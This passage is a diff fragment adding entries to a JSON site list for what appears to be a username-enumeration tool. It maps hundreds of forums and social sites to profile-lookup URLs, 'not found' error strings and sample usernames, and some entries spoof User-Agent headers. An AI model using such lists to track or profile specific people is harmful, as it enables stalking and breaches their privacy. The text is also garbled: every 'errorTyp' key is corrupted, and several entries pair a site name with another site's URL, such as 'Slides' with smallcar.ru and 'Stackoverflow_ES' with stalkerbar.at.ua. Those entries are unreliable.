"https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://ukraineforum.de", + "usernameON": "Handrij", + "bad_site": "" + }, + "Forum_ukriversguidebook": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.ukriversguidebook.co.uk", + "usernameON": "Franky", + "bad_site": "" + }, + "Forum_uktechhub": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page not found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://uktechhub.com/forums/users/{}/", + "urlMain": "https://uktechhub.com", + "usernameON": "uk-sentinel", + "bad_site": "" + }, + "Forum_ulanovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Результатов поиска нет", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "возникла проблема", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ulanovka.ru", + "usernameON": "mac", + "bad_site": "" + }, + "Forum_ulfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ulfishing.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ulisp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://forum.ulisp.com/u/{}", + "urlMain": "http://forum.ulisp.com", + "usernameON": "nanomonkey", + "bad_site": "" + }, + "Forum_ulybka_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "/noindex>-->

    ", + "errorTyp��": "message", + "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sign-forum.ru", + "usernameON": "KalinaAlexandr", + "bad_site": "" + }, + "Signal_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorMsg2": "Signal Community", + "errorTyp��": "message", + "url": "https://community.signalusers.org/u/{}/summary", + "urlMain": "https://community.signalusers.org", + "usernameON": "whatnoww", + "bad_site": "" + }, + "Silver-collector": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.silver-collector.com/u/{}/summary", + "urlMain": "https://www.silver-collector.com", + "usernameON": "red", + "bad_site": "" + }, + "Similarworlds": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://similarworlds.com/{}", + "urlMain": "https://similarworlds.com", + "usernameON": "Messygirl3", + "bad_site": "" + }, + "Skodaforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorMsg3": "FASTPANEL", + "errorTyp��": "message", + "url": "http://www.skodaforum.ru/member.php?username={}", + "urlMain": "http://www.skodaforum.ru", + "usernameON": "rivera", + "comments": "bad", + "bad_site": 1 + }, + "Skyblock": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://skyblock.net/members/?username={}", + "urlMain": "https://skyblock.net", + "usernameON": "noobcrew", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skynetzone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://skynetzone.net/members/?username={}", + "urlMain": "https://skynetzone.net", + "usernameON": "battarismos", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyrimforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://skyrimforum.com/forum/members/?username={}", + "urlMain": "https://skyrimforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyscrapercity": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "redirection", + "url": "https://www.skyscrapercity.com/members/?username={}", + "urlMain": "https://www.skyscrapercity.com", + "usernameON": "adam", + "bad_site": "" + }, + "Slack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.slack.com", + "urlMain": "https://slack.com", + "usernameON": "blue", + "bad_site": "" + }, + "Slamdunk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.slamdunk.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Slashdot": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " - Slashdot User", + "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://slashdot.org/~{}", + "urlMain": "https://slashdot.org", + "usernameON": "adam", + "bad_site": "" + }, + "Slides": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "title>Slides: 404Page no longer exists<", + "errorMsg2": "gen\">01.01.1970", + "errorTyp��": "message", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.smallcar.ru", + "usernameON": "lukey", + "bad_site": "" + }, + "Smart_lab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://smart-lab.ru/profile/{}/", + "urlMain": "https://smart-lab.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Smashcast": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.smashcast.tv/api/media/live/{}", + "urlMain": "https://www.smashcast.tv/", + "usernameON": "hello", + "bad_site": 1 + }, + "Smashrun": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://smashrun.com/{}/", + "urlMain": "https://smashrun.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smogon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.smogon.com/forums/members/?username={}", + "urlMain": "https://www.smogon.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Smolmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://smolmama.com", + "usernameON": "Kisma", + "bad_site": "" + }, + "Smugmug": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://{}.smugmug.com/", + "urlMain": "https://smugmug.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smule": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Right tune, wrong note", + "errorMsg2": "Page Not Found", + "errorTyp��": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Snapchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "usernameON": "adam22hoe", + "bad_site": "" + }, + "Snbforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.snbforums.com/members/?username={}", + "urlMain": "https://www.snbforums.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Snowjapan": { + "country": "🇯🇵", + "country_klas": "JP", + "errorMsg": "Found 0 results", + "errorMsg2": "large ipsType_light'>There were no results for", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.snowjapan.com", + "usernameON": "nisoko", + "bad_site": "" + }, + "Soborno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://soborno.ru", + "usernameON": "arinasha", + "bad_site": "" + }, + "Soc-life.": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://soc-life.com/index/8-0-{}", + "urlMain": "http://soc-life.com", + "usernameON": "Ilona54", + "bad_site": "" + }, + "Sochi_profi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sochi.profi.ru/profile/{}/", + "urlMain": "https://sochi.profi.ru", + "usernameON": "Irina", + "bad_site": "" + }, + "Social_librem": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://social.librem.one/@{}", + "urlMain": "https://social.librem.one", + "usernameON": "adam", + "bad_site": "" + }, + "Social_microsoft": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The resource you are looking for has been removed", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://social.microsoft.com/profile/{}", + "urlMain": "https://social.microsoft.com", + "usernameON": "shartbandiha", + "bad_site": 1 + }, + "Social_tchncs": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "https://social.tchncs.de/@{}", + "urlMain": "https://social.tchncs.de/", + "usernameON": "Milan", + "bad_site": "" + }, + "Socialblade": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://socialblade.com/youtube/user/{}", + "urlMain": "https://socialblade.com", + "usernameON": "fred", + "comments": "cf", + "bad_site": "" + }, + "Socioforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.socioforum.su", + "usernameON": "adam", + "bad_site": "" + }, + "Socionics": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "urlMain": "http://www.socionics.org", + "usernameON": "RWinner", + "comments": "bad", + "bad_site": 1 + }, + "Softboard": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "<p class='ipsType_large ipsType", + "errorTyp��": "message", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://softboard.ru", + "usernameON": "Rambler", + "bad_site": "" + }, + "SoftwareInformer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://users.software.informer.com/{}/", + "urlMain": "https://users.software.informer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Solo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://solo.to/{}", + "urlMain": "https://solo.to", + "usernameON": "red", + "bad_site": "" + }, + "Soloby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>QT Media 404", + "errorMsg2": "Универ soloBY", + "errorTyp��": "message", + "url": "http://www.soloby.ru/user/{}", + "urlMain": "http://www.soloby.ru", + "usernameON": "red", + "comments": "bad", + "bad_site": 1 + }, + "Somersoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.somersoft.com/members/?username={}", + "urlMain": "https://www.somersoft.com", + "usernameON": "johnhenry", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "urlMain": "https://www.sony-club.ru", + "usernameON": "usman161rus", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony_stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Сайт закрыт", + "errorMsg2": "Форум Sony - Stratege.ru", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "urlMain": "https://sony.stratege.ru", + "usernameON": "kalpak", + "bad_site": "" + }, + "Sorento_kia-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://sorento.kia-club.ru/", + "usernameON": "king", + "bad_site": "" + }, + "Sotoguide": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://sotoguide.ru/users/{}/", + "urlMain": "https://sotoguide.ru", + "usernameON": "jura1987g", + "bad_site": 1 + }, + "SoundCloud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Soundex": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://soundex.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Soundgym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "[а-яА-Я]", + "url": "https://www.soundgym.co/member/profile?m={}", + "urlMain": "https://www.soundgym.co", + "usernameON": "raydrcougso", + "bad_site": "" + }, + "Soup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.soup.io/author/{}", + "urlMain": "https://www.soup.io", + "usernameON": "cristina", + "bad_site": "" + }, + "SourceForge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "error-page", + "errorTyp��": "message", + "url": "https://sourceforge.net/u/{}/profile/", + "urlMain": "https://sourceforge.net/", + "usernameON": "blue", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "TE": "trailers", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Sourcewatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "urlMain": "https://www.sourcewatch.org", + "usernameON": "Rebekah_Wilce", + "bad_site": "" + }, + "Southklad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Форум кладоискателей - Юг Клад - Информация", + "errorTyp��": "message", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://southklad.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Soylentnews": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "usernameON": "adam", + "bad_site": "" + }, + "Sp-shopogoliki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sp-shopogoliki.ru", + "usernameON": "sima", + "bad_site": "" + }, + "Spaces": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spaces.im/mysite/index/{}/", + "urlMain": "https://spaces.im", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Spark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spark.ru/startup/{}", + "urlMain": "https://spark.ru", + "usernameON": "green", + "bad_site": "" + }, + "Spartak_msk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Вы не можете произвести поиск сразу", + "errorMsg2": "Информация", + "errorMsg3": "поиска: 0", + "errorTyp��": "message", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spartak.msk.ru", + "usernameON": "malyushenko", + "bad_site": "" + }, + "Spb-projects": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spb-projects.ru", + "usernameON": "Deij", + "bad_site": "" + }, + "Speakerdeck": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "User Not Found", + "errorMsg2": "loige", + "errorMsg3": "mariozaki", + "errorTyp��": "message", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com", + "usernameON": "adam", + "bad_site": "" + }, + "Speedrun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not found.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://speedrun.com/user/{}", + "urlMain": "https://speedrun.com/", + "usernameON": "3Tau", + "bad_site": "" + }, + "Spiceworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/people/{}", + "urlMain": "https://community.spiceworks.co", + "usernameON": "adam", + "bad_site": "" + }, + "Spinchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spinchat.com/hp/{}/", + "urlMain": "https://www.spinchat.com", + "usernameON": "Adam", + "bad_site": "" + }, + "Splatoon_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://splatoonwiki.org/wiki/User:{}", + "urlMain": "https://splatoonwiki.org", + "usernameON": "Hewer", + "bad_site": "" + }, + "Spletenie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Страница не найдена", + "errorMsg2": "
    ", + "errorTyp��": "message", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "urlMain": "https://forum.sportbox.ru", + "usernameON": "Thedolphin", + "bad_site": "" + }, + "Sports": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "%20", + "errorMsg": "Ничего не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sports.ru/search/?query={}", + "urlMain": "https://www.sports.ru/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Sportsjournalists": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sportsjournalists.com/members/?username={}", + "urlMain": "https://www.sportsjournalists.com", + "usernameON": "outofplace", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SportsTracker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\"code\":\"404\"", + "errorMsg2": "Not found", + "errorTyp��": "message", + "url": "https://www.sports-tracker.com/view_profile/{}", + "urlMain": "https://www.sports-tracker.com/", + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Sportstracklive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.sportstracklive.com/en/user/{}", + "urlMain": "https://www.sportstracklive.com", + "usernameON": "PaddyLewtas", + "bad_site": "" + }, + "Spotify_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\t\t0 results", + "errorMsg2": "No search results found", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "urlMain": "https://community.spotify.com", + "usernameON": "adam", + "bad_site": "" + }, + "Sprashivai_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "http://sprashivai.ru/{}?sl", + "urlMain": "http://sprashivai.ru", + "usernameON": "red", + "bad_site": 1 + }, + "Spursarmy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">Ошибка

    ", + "errorMsg2": "Профиль", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://spursarmy.com/profile/{}", + "urlMain": "https://spursarmy.com", + "usernameON": "Sloock", + "bad_site": "" + }, + "SPW": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.spw.ru/members/?username={}", + "urlMain": "https://forum.spw.ru", + "usernameON": "kato", + "ignore_status_code": true, + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SQL": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "begin case_noresults", + "errorMsg3": "<TITLE>Òåõíè÷åñêîå Îáúÿâëåíèå", + "errorTyp��": "message", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "urlMain": "https://www.sql.ru", + "usernameON": "Birkhoff", + "comments": "bad", + "bad_site": 1 + }, + "Srclog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://srclog.com/{}", + "urlMain": "https://srclog.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ssb_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ssbwiki.com/User:{}", + "urlMain": "https://www.ssbwiki.com", + "usernameON": "NotBen", + "bad_site": "" + }, + "Stackexchange": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "urlMain": "https://unix.stackexchange.com", + "usernameON": "telcom", + "bad_site": "" + }, + "Stackoverflow": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "p>No users matched your search", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://stackoverflow.com/users/?search={}", + "urlMain": "https://stackoverflow.com", + "usernameON": "adam", + "bad_site": "" + }, + "Stackoverflow_ES": { + "country": "🇪🇸", + "country_klas": "ES", + "errorMsg": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "urlMain": "https://stalkerbar.at.ua", + "usernameON": "lordsfilmpw", + "bad_site": "" + }, + "Star-girl": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://star-girl.ru", + "usernameON": "Patricia", + "comments": "bad", + "bad_site": "" + }, + "Star_Citizen": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 -", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Steamid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Just a moment", + "errorMsg2": "Cloudflare", + "errorMsg3": "profile information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://steamid.uk/profile/{}", + "urlMain": "https://steamid.uk/", + "comments": "cf", + "usernameON": "blue", + "bad_site": "" + }, + "Stereo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stereo.ru/user/{}", + "urlMain": "https://stereo.ru/", + "usernameON": "Yamiha", + "bad_site": "" + }, + "Sti-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://www.sti-club.su/member.php?username={}", + "urlMain": "http://www.sti-club.su", + "usernameON": "Viktor85", + "bad_site": 1 + }, + "Stihi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Автор не найден", + "errorMsg2": "Поиск авторов", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.stihi.ru/avtor/{}", + "urlMain": "https://www.stihi.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Stop-narko_info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "urlMain": "http://stop-narko.info", + "usernameON": "Ergo", + "bad_site": "" + }, + "Stopgame": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stopgame.ru/user/{}", + "urlMain": "https://stopgame.ru", + "usernameON": "Diml", + "bad_site": "" + }, + "Store_kde": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://store.kde.org/u/{}", + "urlMain": "https://store.kde.org", + "usernameON": "statman", + "bad_site": "" + }, + "Storycorps": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://archive.storycorps.org/user/{}/", + "urlMain": "https://archive.storycorps.org", + "usernameON": "adam", + "bad_site": "" + }, + "Stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум - Stratege.ru", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.stratege.ru/forums/member.php?username={}", + "urlMain": "https://www.stratege.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Strava": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Studfile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://studfile.net/users/{}/", + "urlMain": "https://studfile.net", + "usernameON": "adam", + "bad_site": "" + }, + "Stunited": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://stunited.org/profile/{}", + "urlMain": "http://stunited.org", + "usernameON": "mani-vel", + "bad_site": 1 + }, + "Subeta": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Invalid user", + "errorMsg2": "Error", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subeta.net/users/{}", + "urlMain": "https://subeta.net/", + "usernameON": "Brioche", + "comments": "cf", + "bad_site": "" + }, + "Subforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subforums.net/members/?username={}", + "urlMain": "https://subforums.net", + "usernameON": "romator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Substack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.substack.com/", + "urlMain": "https://substack.com/", + "usernameON": "irina", + "bad_site": "" + }, + "Sugoidesu": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://sugoidesu.net/members/?username={}", + "urlMain": "https://sugoidesu.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suicidegirls": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.suicidegirls.com/members/{}/", + "urlMain": 